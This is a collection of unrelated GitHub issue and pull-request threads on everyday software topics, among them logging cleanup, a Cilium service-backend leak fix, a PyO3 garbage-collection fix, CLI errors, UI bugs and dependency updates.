Simplified logging

Description of changes
Summarize the changes made by this PR.

Improvements & Bug fixes

Removed unwanted debug-level logs that occurred when using  Hnswlib. The responsible logger was hard-coded to have log-level DEBUG
Removed a file that created the above mentioned logger which was only imported in chromadb/db/index/hnswlib.py. The latter now uses the standard logging.getLogger function, which allows downstream applications to modify the logger as required.

I am also happy to replace all print statements with logger.debugs. That way downstream applications do not have their stdout cluttered with irrelevant stuff. LMK what you think @jeffchuber

Thanks for the PR!
We are actually planning on solving this more generally by implementing Advanced Python Logging so we can set the log level (as well as output files) on a per-module basis. We're going to need this for telemetry as we enable a more robust hosted service, but it should be useful for library users as well (and we'll set some sane, less-verbose defaults.)
I'll tag you on that PR when it's ready so you can check it out! Should be fairly soon, later today or tomorrow.
And yes, removing prints would be helpful once that's done!

See approach in #204


Update training.md

provided alternative az login instructions for those experiencing errors with the browser login approach defaulted with az login

Very helpful information -- thanks @elafnit!

I deleted my fork. good luck


Fix incorrectly highlighted line of code

Describe the bug
In 'Typescript' > 'Advanced Topics' > 'Pipelines' > 'Build Stage', there is a highlighted line of code in line 68 of the file. This line was unchanged from the previous file in the module  'Typescript' > 'Advanced Topics' > 'Pipelines' > 'New Pipeline' on line 28 of that file.
Expected Behavior
There wouldn't be a highlighted line of code in the 'Build Stage' file because it was unchanged from the previous code.
Current Behavior
There is a highlighted line of code that was unchanged.
Reproduction Steps
Look at the line of code const pipeline = new CodePipeline(this, 'Pipeline', { in "4000-build-stage" and compare it to the same line in "3000-new-pipeline".
Possible Solution
No response
Additional Information/Context
No response
CDK CLI Version
No response
Section
No response
Browser
No response
Language
No response

Yup, thanks for reporting this!


der

PLEASE READ
As per the README, this project is no longer being maintained.  Any issues entered will remain uninvestigated and unresolved.
We thank you for your contributions over the years.  This library would not have been successful without them.

Ignore this. My keyboard not working properly


[DX] Setup release-please to build assets for different platforms for release notes

Description
Something like this https://github.com/ratatui-org/templates/blob/5e823efc871107345d59e5deff9284235c1f0bbc/component/template/.github/workflows/cd.yml but using release please
Screenshots
Steps to Reproduce
Tasks

Closed by these painful debug commits & releases :sweat_smile:
https://github.com/deepanchal/dnote-tui/compare/dnote-tui-v0.5.1...dnote-tui-v0.5.8


Add function to flatten numpy arrays for input to sklearn models

Note: checklist below only relevant if committing to the develop branch:
Proposed changes
Add new script dea_classificationtools.py to interface between xarray (DataArray and Dataset) and sklearn models, including KMeans, PCA, decision trees, etc.
Checklist (replace [ ] with [x] to check off)

[ ] Notebook created using the DEA-notebooks template
[ ] Remove any unused Python packages from Load packages
[ ] Remove any unused/empty code cells
[ ] Remove any guidance cells (e.g. General advice)
[ ] Ensure that all code cells follow the PEP8 standard for code. The jupyterlab_code_formatter tool can be used to format code cells to a consistent style: select each code cell, then click Edit and then one of the Apply X Formatter options (YAPF or Black are recommended).
[ ] Include relevant tags in the final notebook cell (refer to the DEA Tags Index, and re-use tags if possible)
[ ] Clear all outputs, run notebook from start to finish, and save the notebook in the state where all cells have been sequentially evaluated
[ ] Test notebook on both the NCI and DEA Sandbox (flag if not working as part of PR and ask for help to solve if needed)
[ ] If applicable, update the Notebook currently compatible with the NCI|DEA Sandbox environment only line below the notebook title to reflect the environments the notebook is compatible with

This looks great @richardt94 and @s-m-t-c ! Can't see any issues with the workflow you used. Are you ready for this to be merged in/accepted?


Add missing parameter in AESCipherBuilder docs

AESCipherBuilder takes three arguments, but only two were specified in some of the documentation comments. Add the key size parameter.
I figured since this doesn't affect API and only fixes a small oversight, it's not really worth writing a changelog entry.

The CI did run and passed, but failed to report its status to GitHub. I'll close and re-open to retrigger it – unfortunately there doesn't seem to be a button to do so in Travis.


Add CODEOWNERS

Add CODEOWNERS so that they are automatically requested for review when someone opens a pull request.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 93.96%. Comparing base (dfd46b8) to head (faa8bd2).

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #270   +/-   ##
=======================================
  Coverage   93.96%   93.96%
=======================================
  Files           8        8
  Lines         630      630
=======================================
  Hits          592      592
  Misses         38       38

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


FID-infinite comparison and discussion

Thanks for the interesting work!
This is not an issue regarding your source code but just a comment to your study.
I believe it would be fair to discuss and cite the recent work by Min Jin Chong and David Forsyth Effectively Unbiased FID and Inception Score and where to find them
 where they propose unbiased drop-in replacements for FID scores.

Thank you too for the interest in our work :)
And thanks for pointing out the interesting work. We are indeed aware of the paper, but have not managed to include a discussion in the first version of our paper.
Please note that our claim is not to replace FID and Inception scores with our density and coverage metrics. They serve different purposes. FID and Inception scores provide single-value assessments that are useful for ranking generative models by their performances. On the other hand, density and coverage are fidelity-diversity metrics (as are precision and recall metrics) that serve more diagnostic purposes. Our argument is that for fidelity-diversity metrics, density and coverage are better than precision and recall metrics. We believe it makes a lot of sense to use our density and coverage metrics together with the unbiased FID or IS in the future.
Again, we will include this discussion in the next version :)

Thank you for the timely and informative response Seong!


[RFC] Consider using Money library

Hi.
First of all, thanks for this great library.
I just wanted to suggest something, what do you think about using https://github.com/mathiasverraes/money?
It provides CurrencyPair for example.

Hi,
thanks for your feedback.
We could rely on it but it should be extended, for example Swap provides the date at which the rate was calculated. This could be done but only in the next major version.
Maybe the easiest way is to create a wrapper around Swap that returns a CurrencyPair from the Money library instead of a Rate object. A MoneyCurrencyPairProvider or something like this.
I think @sagikazarmark planned to work on such library

Yeah, it is planned.
First I though it could be good if this library provided the Money integration out-of-the-box. But after some discussion with @florianv we agreed that Swap is quite generic this way, and it is good it is not tied to anything else. So my plan is to create a wrapper that accepts a Swap object and uses Money/CurrencyPair. This way everything is separated which is SOLID.

Yes, I like that generic approach. Gives lots of flexibility.
Wrapper sounds right.

Now that Money supports exchanging (and has builtin support for Swap), this one can probably be closed.

Yep.


Oracle dialect

The dialect creation itself is simple, the hard part is have integration tests in place for it.

Is anyone working on an Oracle JDBC dialect?
If not, how hard would it be?

Oracle has started issuing DMCA takedown notices on unofficial Docker containers that everyone relies on. This has an impact on our ability to support Oracle in an upcoming release. To anyone who wants Oracle support in Quill's future, please chime on on #1295. I will not be continuing work on the Oracle Dialect until we can have some consenus as to how to move forward.


About the velocity action controller

Could you please help me with the following line:

The last term is the cross product of two identical vectors, which will turn out to be 0.
But shouldn't the last term be about

Yes, you are right. Sorry for this bug. Because I mainly use bodyrate or direct thrust control, I am unable to perform enough validation on this control method. I suggest to replace this line with:
body_torque_des = self._inertia @ (self._BODYRATE_PID.p @ pose_err + self._BODYRATE_PID.p @ ang_vel_err - cross(self._angular_velocity, self._inertia @ self._angular_velocity))

in both line 271 and line 243. You can try this line before i fix. $$\Omega \times J\Omega$$ is Coriolis effect, which is usually too minor to affect the simulation (it actually has impact but slight impact).
Because I have something else (exams) to do, today or tomorrow I cannot update it. I hope I could be free in this week.
Besides, #1 https://github.com/SJTU-ViSYS-team/VisFly/issues/1#issuecomment-2396958248, you are right. The flipud() should be deleted. I will update it in this week.


ERROR: Package 'networkx' requires a different Python: 3.8.10 not in '>=3.9'

When I use docker-->./build.sh，have a error:
Downloading https://download.pytorch.org/whl/networkx-3.2.1-py3-none-any.whl (1.6 MB) ERROR: Package 'networkx' requires a different Python: 3.8.10 not in '>=3.9'
I haven't found a good solution yet.

can you try pulling the image first by just running run.sh?
There maybe some udpate in the networkx library.

can you try pulling the image first by just running run.sh? There maybe some udpate in the networkx library.

Thanks, I will try it .

It seems that NetworkX does not support Python 3.8 beyond version 3.2. The latest version that can run with Python 3.8 is 3.1. You can find the link for it here.
I solved the issue by adding pip3 install networkx==3.1 just before line 19 in the Dockerfile.
https://github.com/leggedrobotics/elevation_mapping_cupy/blob/ee9a15521bb8d270cb1c2e43c7e89ba71e0e5f3c/docker/Dockerfile.x64#L19

您好，我已收到您的邮件，我会尽快给您回复的。祝 工作顺利 生活愉快！

您好，我已收到您的邮件，我会尽快给您回复的。祝 工作顺利 生活愉快！


Newbie question

I am just starting to install this and I am getting the message below. I have run the installer a couple times, Setup the DB and attempted to reset as well. Any help?
Traceback (most recent call last):
File "./empire", line 6, in
from lib.common import empire
File "/tools/Empire/Empire-master/lib/common/empire.py", line 15, in
from pydispatch import dispatcher
ImportError: No module named pydispatch

Are you running this on Kali?

Yes that would be corect

Did you run ./setup/install.sh ? The reason I ask is that it look likes one of the Python dependencies (pydispatcher) didn't install correctly on your machine. Can you rerun that install.sh script if you haven't already and record any errors that result? If that still fails, try running "pip install pydispatcher" and see if there's an error with that as well.

Sorry all this was all due to my proxy. I bypassed it and now its working so sorry for this post


add deprecated, versionadded and versionchanged admonition

I'm using the deprecated lib to specify if the elements I'm using re deprecated or new in my documentation (it's also automatically raises warning for deprecated function):
from deprecated.sphinx import deprecated
from deprecated.sphinx import versionadded
from deprecated.sphinx import versionchanged

@versionadded(version='1.0', reason="This function is new")
def function_one():
    '''This is the function one'''

@versionchanged(version='1.0', reason="This function is modified")
def function_two():
    '''This is the function two'''

@deprecated(version='1.0', reason="This function will be removed soon")
def function_three():
    '''This is the function three'''

function_one()
function_two()
function_three()  # warns

help(function_one)
help(function_two)
help(function_three)

in the doc it will add somme specific commands :
    This is the function one

    .. versionadded:: 1.0
       This function is new

    This is the function two

    .. versionchanged:: 1.0
       This function is modified

    This is the function three

    .. deprecated:: 1.0
       This function will be removed soon

These are not interpreted by the current pydatasphinx theme. do you think it could be a valuable addition ?
Or should I just use custom directive in my projet ? (I don't realize how widely used this librairy is)
Deprecated is currently the only one interpreted but is not aligned with the rest of the template colors and shapes:

I'm not as familiar with these packages, but if they are common as part of Sphinx workflows I am fine supporting them here. Do you know if other themes tend to add CSS for them? (Eg, the readthedocs theme)
Assuming that they follow the same structure as other admonitions, the thing to do would be to add some rules for these admonitions here: https://github.com/pydata/pydata-sphinx-theme/blob/master/src/scss/_admonitions.scss

The actual directives (versionadded, versionchanged, deprecated) are standard sphinx directives: https://www.sphinx-doc.org/en/master/usage/restructuredtext/directives.html#directive-versionadded
So we could certainly add some specific styling for them. I think it's mostly a matter of someone proposing a design for that. Personally I find it most important that the "deprecated" stands out compared to the others (as this is most important for a user to see IMO), as is the case now.


feature(main): fix build config

[SKIP CI]seaols: 一句话简短描述该PR内容

fix build config ? fixed what? I think the title should share more details


pkg/service: Fix leaking service entries with terminating backends

Terminating backends are gracefully deleted: they are removed from
the service maps so that they are not selected to service new traffic,
but they are kept in the backends map so that existing connections can
be gracefully terminated.
When a service with terminating backends was previously deleted, we didn't
account for the terminating backends. As a result, the deletion from BPF maps
failed, and we ended up leaking other active backends of the service.
This also led to duplicate backend entries getting created as we had already
ref counted, and deleted the service's backends.
Fix this issue by only considering active backends during deletion of a service.
Extended unit tests to catch such regressions in future.
Note: The issue is only on v1.11. We updated the logic on 1.12+ branches.
Reported-by: Hemanth Malla<EMAIL_ADDRESS>Signed-off-by: Aditi Ghag<EMAIL_ADDRESS>Fixes: https://github.com/cilium/cilium/issues/23551
Fix leaking service backend entries when services with terminating backends were deleted.

Rebased and updated the commit description. Travis job that ran the updated unit test that validates the fix had previously passed.

:wave: Coming into this as TopHat without much context: why was this opened against v1.11 and not against master?

👋 Coming into this as TopHat without much context: why was this opened against v1.11 and not against master?

The issue is only on v1.11. We updated the logic in 1.12. Added the missing context to the PR description.

/test-backport-1.11

/mlh new-flake Cilium-PR-K8s-1.19-kernel-4.9

All the tests passed.
@hemanthmalla Since you've already tested the fix, can we get this PR merged?
As for duplicate backends in existing clusters that don't have this fix, we'll need to think of a way to fix it in an upgrade path. Probably what you suggested - https://github.com/cilium/cilium/pull/23749#issuecomment-1438752480 might work. I'll need to take a closer look. We can continue the discussion on your #23749 PR.


Infinite scrolling on posts

Describe the bug
You can only see 5 items at a time, (only on the frontend).
To Reproduce
Use the site.
Expected behaviour
Infinite scrolling

See line https://github.com/RobbinBaauw/CSHub/blob/93aa2a245cf929912a52d14980abc91ebb7c073a/faq-site-client/src/views/user/UserDashboard.vue#L125, here you only see only once the call is made to the server, which should be on scroll etc.


Update discipline-specs2 to 1.1.3

Updates org.typelevel:discipline-specs2 from 1.1.0 to 1.1.3.
GitHub Release Notes - Changelog - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.typelevel", artifactId = "discipline-specs2" } ]

labels: test-library-update, semver-patch

Superseded by #327.


[FEAT]: Add choice of numbers vs bullet points

Context
Currently, all generated ToCs use bullet-points. Whilst this works, it would be nice to have the option to use numbers instead.
Acceptance Criteria

Fork this repository and make a new branch
Add a new, optional, flag --numbers that indicates the user wants to use numbers instead
Have the ToC generated with numbers if the flag is present
Create a PR

Happy coding! :heart:

Mandy

I'd like to work on this one. @Mandy-cyber Can you please assign this to me?


Drop down shade has blinking white effect ( dark theme ) on MintOS

VSCode Version: 1.45.1
OS Version:
kenny@Z97M-D3H:~$ uname -a
Linux Z97M-D3H 5.3.0-53-generic #47~18.04.1-Ubuntu SMP Thu May 7 13:10:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
kenny@Z97M-D3H:~$ cat /etc/lsb-release
DISTRIB_ID=LinuxMint
DISTRIB_RELEASE=19.3
DISTRIB_CODENAME=tricia
DISTRIB_DESCRIPTION="Linux Mint 19.3 Tricia"
kenny@Z97M-D3H:~$

Steps to Reproduce:
1.Using theme: https://www.gnome-look.org/p/1267246/
2.Regarless which theme I use, it still produces the same affect.
2020-05-30 05-04-48.mkv.zip

Does this issue occur when all extensions are disabled?: Yes/No
Yes

There is one solution. You can change the title bar style in settings.
Or adding "window.titleBarStyle": "custom" to settings.json.
That will give the custom vs code styling

/needsMoreInfo can you please add a screenshot that illustrates the problem?


[Bug]: Can't move out from neovim to kitty window

Similar Issues

[X] Before filing, I have searched for similar issues.

Neovim Version
NVIM v0.10.0
Build type: Release
LuaJIT 2.1.1716656478
Multiplexer Integration
Kitty
Multiplexer Version
itty 0.35.1 created by Kovid Goyal
Steps to Reproduce

Create Kitty vertical split at the bottom of neovim
Move from kitty window to neovim: Work
Move from neovim to kitty window: Nothing happend
Resize: Work both when focus on neovim and kitty
Try to revert to version v1.4.0: Move work again

Expected Behavior
Need to move from neovim to kitty window
Actual Behavior
Can't move from neovim to kitty, move inside neovim still work
Minimal Configuration to Reproduce
-- Config with lazy nvim
  {
    'mrjones2014/smart-splits.nvim',
    build = './kitty/install-kittens.bash',
    config = function()
      require('smart-splits').setup({})

      vim.keymap.set('n', '<A-h>', require('smart-splits').resize_left)
      vim.keymap.set('n', '<A-j>', require('smart-splits').resize_down)
      vim.keymap.set('n', '<A-k>', require('smart-splits').resize_up)
      vim.keymap.set('n', '<A-l>', require('smart-splits').resize_right)
      -- moving between splits
      vim.keymap.set('n', '<C-h>', require('smart-splits').move_cursor_left)
      vim.keymap.set('n', '<C-j>', require('smart-splits').move_cursor_down)
      vim.keymap.set('n', '<C-k>', require('smart-splits').move_cursor_up)
      vim.keymap.set('n', '<C-l>', require('smart-splits').move_cursor_right)
      vim.keymap.set('n', '<C-\\>', require('smart-splits').move_cursor_previous)
    end
  }

Additional Details and/or Screenshots
No response

Is there anything relevant in the logs? Also can you see if you can reproduce on this commit? f5df5b6dc4aa2c8d8c81e3c06dd2c3b6ff05dacf

Is there anything relevant in the logs? Also can you see if you can reproduce on this commit? f5df5b6

How can I check the logs

:SmartSplitsLog<CR>

I'll check and report you soon. I use wayland if you mind. I need sleep right now🙂↔
Maybe I'll try fix and create a PR if it really a bug.

I don't know why but now I upgrade to newest version and I work like a charm


Using proxies for registering token

Hi. Is there any way to use proxy for registering token ?
some ISPs in my country filtered the push notification. we can get notification on 3G but our wifi doesn't work.
this is java solution for FirebaseInstanceId.getInstance().getToken(); in  MyFirebaseInstanceIDService.java :
DefaultHttpClient httpclient1 = new DefaultHttpClient();
                HttpHost httpproxy1 = new HttpHost(lines_of_proxy[i1]);
                httpclient1.getParams().setParameter(ConnRoutePNames.DEFAULT_PROXY, httpproxy1);

is there any way to using something like this in xamarin ?

It was emulator problem and in real device there is no problem.


Unexpected warnings with dumping sources alongside mix

output_file: /tmp/tmprpqkwioa.wav already exists and will be overwritten on build
output_file: /tmp/tmpeup76dd4.wav already exists and will be overwritten on build

Also, I forgot to mention this one, which seems to happen in conjunction with one above:
Input formats were only specified for 0 out of 2 files.The last 2 files will remain unformatted.

Have to track these down - I believe they're coming from making the temporary files for the sources and then copying them somewhere. Maybe a collision?

Yes, at first I thought it was from the seed being the same each run, but it remained after changing the seed.

The temp file warnings are mentioned here:
https://github.com/rabitt/pysox/issues/6
The input formats warning is mentioned here:
https://github.com/rabitt/pysox/issues/85

Yes, these are all sox warnings rather than scaper warnings. I forget whether it's possible to disable these, looks like it might not be supported yet based on the issues @epicycles has mentioned still being open.
We have 3 possible solutions:

(short term): ignore the warnings and carry on
(short term): make a PR to pysox to add the missing functionality
(long term): replace pysox altogether with in-memory audio processing

In the long run I want to move toward 3. I'll see if I can manage 2 in the near future, but can't guarantee it. In the meanwhile, we're stuck with 1 :)

Using disable_sox_warnings=True in scaper.generate() makes things look better.

Should we change the default of disable_sox_warnings from False to True?

Should we change the default of disable_sox_warnings from False to True?

OK, I think we can change it.
In this case we might want to add a line at the end of the docstring for disable_sox_warnings along the lines of "If you're experiencing issues related to audio I/O setting this parameter to True may help with debugging".

Huh, so it actually is already True. My bad. The warnings only occur when their level is critical, apparently. So is it not working? Did John get a lucky run when the warnings went away? Confused.

Just revisited the code :) Per the docstring:

disable_sox_warnings : bool
When True (default), warnings from the pysox module are suppressed
unless their level is 'CRITICAL'.

So, in principle, when disable_sox_warnings=True (default) you shouldn't see any sox warnings unless they're of the critical category. If it's set to False, you should see all sox warnings. Maybe @epicycles initially set it to False to be on the safe side and later changed it back to True? I don't know.
In any case, since sox will be completely replaced in the long run, I don't know that it makes sense to worry about this too much?

Yeah, I don't think it's critical. I did add "If you're experiencing issues related to audio I/O setting this parameter to True may help with debugging" to the docstring in #55 since I was in the neighborhood, though!


Configure Azure Pipelines

This pipeline configuration builds the application and produces a build for the Release configuration.

test


spelling fixes

@ctb Do we want a ChangeLog for spelling fixes?

On Mon, Mar 30, 2015 at 07:02:55AM -0700, Michael R. Crusoe wrote:

@ctb Do we want a ChangeLog for spelling fixes?

If they're only in the ChangeLog, no. Otherwise, yes.

(b/c they could break things, no?)

[ ] Is it mergeable?
[ ] Did it pass the tests?
[ ] If it introduces new functionality in scripts/ is it tested?
Check for code coverage with make clean diff-cover
[ ] Is it well formatted? Look at make pep8, make diff_pylint_report,
make cppcheck, and make doc output. Use make format and manual
fixing as needed.
[ ] Did it change the command-line interface? Only additions are allowed
without a major version increment. Changing file formats also requires a
major version number increment.
[ ] Is it documented in the ChangeLog?
http://en.wikipedia.org/wiki/Changelog#Format
[ ] Was a spellchecker run on the source code and documentation after
changes were made?

@ctb ready for review & merge

Thanks!

Go ahead and merge it once it's mergeable.


"MenuBar" GUI error in Linux (Gnome 46)

Description
I built an application (simple) for Windows and all is good, then I tried exactly the same in Linux and the control/widget "MenuBar" do an strange effect in the following case:

If you click some "MenuBar" element and navigate just on the top of this element and hover/hold, then appears the "MenuBar" mega zoomed (I attach captures).

Flet version (pip show flet):
v.0.22.1
Operating system:
Linux Ubuntu 24.04 , Gnome 46, Wayland , Kernel 6.8.0-31-generic)
Additional environment details:
x64

Here is.
Is when the mouse is over the top of the "MenuBar"
Thanks
Enregistrament de pantalla del 2024-06-08 13-43-54.webm

Hello,
I tried just to code and "compile" with v.0.23.1 and the error remains.
Thank you.

Hello,
Today I tried the same with v.0.23.2.
Same error but it has enhanced.
Doesn't appear fullscreen (just a zoomed effect in the same MenuBar).
Thank you.

Hello,
Not only in "GNOME 46".
The same error in "Cinnamon 6.2" (Linux Mint 22)
Thanks.
Best regards.

The error is a flutter issue. I will take some time to search their repo for any reported issue.

The error is a flutter issue. I will take some time to search their repo for any reported issue.

Thanks!!! Best regards!

SOLVED IN  v.0.24    !!


Benchmark for WP directives

What?
Add a benchmark to measure WP directives' performance. ⏱
Why?
This PR aims to provide a tool for measuring the WP directives' performance while we iterate over their API and potential implementation. We can also compare WP directives with other frameworks or even different implementations (e.g., using useState, preact signals, etc.).
How?
To start, I've copied the directives from https://github.com/WordPress/gutenberg/pull/44509, which is the experiment that contains the latest features at this moment (directives & components, processed during both parsing and client execution).
I had to modify the implementation to avoid using deepSignals (this), as it seems not to fully work as expected yet.
Also, I've implemented a missing wp-for directive to dynamically render a list of items inside a table (similar to Alpine's x-for directive). This directive still has room for improvement regarding performance.
Results

https://github.com/DAreRodz/js-framework-benchmark/pull/1#issuecomment-1268706915

it turns out that WP directives are not "keyed", i.e., keyed elements rearranged inside an array are not modified but their content. That would make WP directives not comparable to Alpine/Preact (¿?)

Could you please elaborate on this?

Yes, you are right; I was about to clarify that. The reason the WP directives framework ends in the "non-keyed" category is because of an issue with our implementation.
I've already replaced key with key.default, but that's not all; there are still nodes that are re-mounted even though their key doesn't change. I'm digging into that.

Ok, thanks David!

Uhm, it was that bug using key what was making deepSignal behave so slow. 🤔 The same issues appear as well after fixing it, so it looks like a problem with the wp-each directive implementation.

there are still nodes that are re-mounted even though their key doesn't change

The issue is fixed and should be available once Preact releases a new version:

https://github.com/preactjs/preact/pull/3779


Implement unit test framework for uom

Now that we have a runnable TP we can add in the testing framework to progress in earnest with quality

I added a bunch of stuff, need your help with the details

We should discuss pytest vs. nose. Nose, even though there is still a heartbeat, self admits that one may wish to cast their sights upon the former.

Super


Selections do not have a 'correct' height, limiting creativity

There are many cases where making a point selection at the correct height is completely essential for doing a tutorial correctly. For example when a player stacks up blocks with pace and then needs to do a line at a height, it is vital that they do it correct because further down the line, it might result in the thing they are trying to make look completely wrong or may even involve later inability to move forwards because a subsequent task such as a place task requires a block to be placed on top of a block which is at a different height.
It also destroys all attempts to have virtual blocks reappears when resuming a tutorial because the WE resulting from a selection needs to know what the height needs to be so the height of the selection must be stored somewhere. In renewal cases, you can't just fetch the height that the player made the selection because that data is now gone.

This is a relatively minor fix and all it involves is a small edition of code when setting answers and then when compiling answers into the task.


Init command fails on version 2.4.2

Hi there! 👋
I am just starting to try out TsED and I am getting the following error when running the init command (using latest version, 2.4.2):
> npx @tsed/cli@ init .
npx: installed 534 in 26.011s
(node:45266) UnhandledPromiseRejectionWarning: Error: option 'version' clashes with existing property 'version' on Command
- call storeOptionsAsProperties(false) to store option values safely,
- or call storeOptionsAsProperties(true) to suppress this check,
- or change option name

Read more on https://git.io/JJc0W
    at Command._checkForOptionNameClash (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/commander/index.js:472:13)
    at Command._optionEx (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/commander/index.js:499:10)
    at Command.option (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/commander/index.js:622:17)
    at /Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:131:30
    at Array.reduce (<anonymous>)
    at CliService.buildOption (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:123:33)
    at CliService.build (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:174:22)
    at /Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:38:104
    at Array.forEach (<anonymous>)
    at CliService.load (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:38:77)
    at CliService.parseArgs (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:34:14)
    at Cli.parseArgs (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/Cli.js:81:25)
    at /Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/lib/bin/tsed.js:18:13
    at Generator.next (<anonymous>)
    at fulfilled (/Users/matheus/.npm/_npx/45266/lib/node_modules/@tsed/cli/node_modules/tslib/tslib.js:111:62)
    at processTicksAndRejections (internal/process/task_queues.js:93:5)
(Use `node --trace-warnings ...` to show where the warning was created)
(node:45266) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag `--unhandled-rejections=strict` (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 1)
(node:45266) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

This looks like an issue introduced in the latest version of the CLI.
The previous version, 2.4.1 works just fine:
> npx<EMAIL_ADDRESS>init .
npx: installed 527 in 11.78s
? Choose the target platform: (Use arrow keys)
❯ Express.js
  Koa.js

I tried it out on Node 15, 14 and 12, with the same outcome: v2.4.1 works, v2.4.2 has the exception.

Hello can you retry by installing the cli with:
npm install -g @tsed/cli

Please,
See you

@Romakita good morning, I am getting the same error and have just installed the cli for the first time.
➜  Projects sudo npm install -g @tsed/cli

npm WARN deprecated<EMAIL_ADDRESS>Version no longer supported. Upgrade to @latest
npm WARN deprecated<EMAIL_ADDRESS>Removed event-stream from gulp-header
npm WARN deprecated<EMAIL_ADDRESS>Please see https://github.com/lydell/urix#deprecated
npm WARN deprecated<EMAIL_ADDRESS>https://github.com/lydell/resolve-url#deprecated
/usr/local/bin/tsed -><EMAIL_ADDRESS>+<EMAIL_ADDRESS>updated 1 package in 7.768s
➜  Projects tsed init ./testProject
(node:1644) UnhandledPromiseRejectionWarning: Error: option 'version' clashes with existing property 'version' on Command
- call storeOptionsAsProperties(false) to store option values safely,
- or call storeOptionsAsProperties(true) to suppress this check,
- or change option name

Read more on https://git.io/JJc0W
    at Command._checkForOptionNameClash (/usr/local/lib/node_modules/@tsed/cli/node_modules/commander/index.js:472:13)
    at Command._optionEx (/usr/local/lib/node_modules/@tsed/cli/node_modules/commander/index.js:499:10)
    at Command.option (/usr/local/lib/node_modules/@tsed/cli/node_modules/commander/index.js:622:17)
    at /usr/local/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:131:30
    at Array.reduce (<anonymous>)
    at CliService.buildOption (/usr/local/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:123:33)
    at CliService.build (/usr/local/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:174:22)
    at /usr/local/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:38:104
    at Array.forEach (<anonymous>)
    at CliService.load (/usr/local/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:38:77)
    at CliService.parseArgs (/usr/local/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/services/CliService.js:34:14)
    at Cli.parseArgs (/usr/local/lib/node_modules/@tsed/cli/node_modules/@tsed/cli-core/lib/Cli.js:81:25)
    at /usr/local/lib/node_modules/@tsed/cli/lib/bin/tsed.js:18:13
    at Generator.next (<anonymous>)
    at fulfilled (/usr/local/lib/node_modules/@tsed/cli/node_modules/tslib/tslib.js:111:62)
    at processTicksAndRejections (internal/process/task_queues.js:93:5)
(Use `node --trace-warnings ...` to show where the warning was created)
(node:1644) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag `--unhandled-rejections=strict` (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 1)
(node:1644) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
➜  Projects node -v
v14.13.1

Ok I found the issue. I upgraded commander yesterday. There is issue on it. I'll revert the package until I haven't correctly found the fix :)

Release in progress

Fixed :)


fix garbage collection in inheritance cases

After looking at GC code recently in #4479 I had a nagging feeling that inheritance might also be a problem with __traverse__.
I finally had some time to follow up on that thought today, and it turns out that indeed in cases of #[pyclass(extends = ...)] then we are currently not traversing the base class (or calling its' __clear__ function).
This PR fixes that, by modifying the generated code for both __traverse__ and __clear__ to call the base type's function.
Both of the new tests currently fail on main. I think this probably should be patched as 0.22.4, as this is just a straight-up memory leak for all inheritance cases otherwise :(

Aside from benchmarks CI failure (which is solved separately in #4591) I think this is now ready for merge. Does anyone want to review before I do so? I'm keen to merge and get on with back porting this for 0.22.4.

Will proceed with merge (and backporting) 🙈

Ok will get #4599 merged and backported first.


Replicate examples from the examples repo

This task is to extract the examples from https://github.com/shuttle-hq/shuttle-examples , and use them to populate the  examples section here in the docs, e.g. https://docs.shuttle.rs/examples/axum .
As the examples for each framework are currently on a single page, it is likely easier to place the examples on separate pages, as they are separate in the shuttle-examples repo.  This is what https://github.com/shuttle-hq/shuttle-docs/issues/86 suggests.

Thanks for reporting this @jayvdb -- we've merged that fix not too long ago!


Allow any certificate valid or not to connect to directadmin

Get the following error code when SSL=1: Using CACERT certificate.
